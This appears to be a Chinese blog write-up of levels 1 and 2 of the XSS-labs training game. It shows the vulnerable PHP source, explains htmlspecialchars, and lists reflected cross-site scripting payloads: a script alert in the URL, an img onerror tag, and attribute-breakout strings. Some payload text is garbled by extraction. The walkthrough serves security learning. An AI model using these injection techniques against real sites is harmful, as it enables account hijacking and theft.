php%3cimg src,Xss-labs-游戏闯关1-2(示例代码)

20200119234226681159.png

Level 1

20200119234226927262.png

http://web-labs.rinue.top/xss-labs/level1.php?name=test

更改参数name 的值,下面显示的也跟着发生改变;

尝试:

http://web-labs.rinue.top/xss-labs/level1.php?name=%3Cscript%3Ealert(%27xss%27)%3C/script%3E

成功;

<?phpini_set ("display_errors", 0);$str = $_GET["name"];echo "

欢迎用户".$str."";?>

level1.png

<?phpecho "

payload的长度:".strlen($str)."";?>

将用户以GET方式提交的参数name,不加过滤的地显示在页面中,所以将弹框语句放入name变量中即可:

Level2

20200119234227059103.png

20200119234227185084.png

看似是一个搜索框,但是,每次都把搜索的内容回显到页面上;但尝试对加上脚本语句,没有执行;直接回显;

查看源码;

没有找到和<img src="#" οnerrοr=alert("xss")>相关的结果.

没有找到和#相关的结果.

目标是这个才对

而我们的正确的特殊符号竟然变成了HTML的特殊符号代码;

<

<

>

>

"

"

尝试:

%3Cimg src=%27#%27 οnerrοr=alert(%27xss%27)%3E 失败

经过了各种编码,没成功

源码:

<?phpini_set ("display_errors", 0);$str = $_GET["keyword"];echo "

没有找到和".htmlspecialchars($str)."相关的结果.".‘

‘;?>
level2.png

果然转换为了HTML特殊字符;

htmlspecialchar()

htmlspecialchars — 将特殊字符转换为 HTML 实体

字符替换后

& (& 符号)

&

" (双引号)

",除非设置了 ENT_NOQUOTES

‘ (单引号)

设置了 ENT_QUOTES 后, ' (如果是 ENT_HTML401) ,或者 ' (如果是 ENT_XML1、 ENT_XHTML 或 ENT_HTML5)。

<

> (大于)

>

例子:

<?php $new = htmlspecialchars("Test",ENT_QUOTES);echo $new; //<a href='test'>Test</a>

?>

<?php $str="

显示:

<script>alert(‘123‘)</script>

<?php $str="

显示:

前者在html中不显示弹窗;

而后者,则是被当成了脚本语句;

回到本题上来。

在返回的HTML页面的第一处使用了htmlspecialchars,而第二处没有使用,且两处都没有过滤机制。所以我们在第二处闭合标签;

">

#">

">#

">

20200119234227305206.png

另一种方法:

xss

">

">οnclick=alert() //

onclick 属性不适用以下元素:、
、、、、、、

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值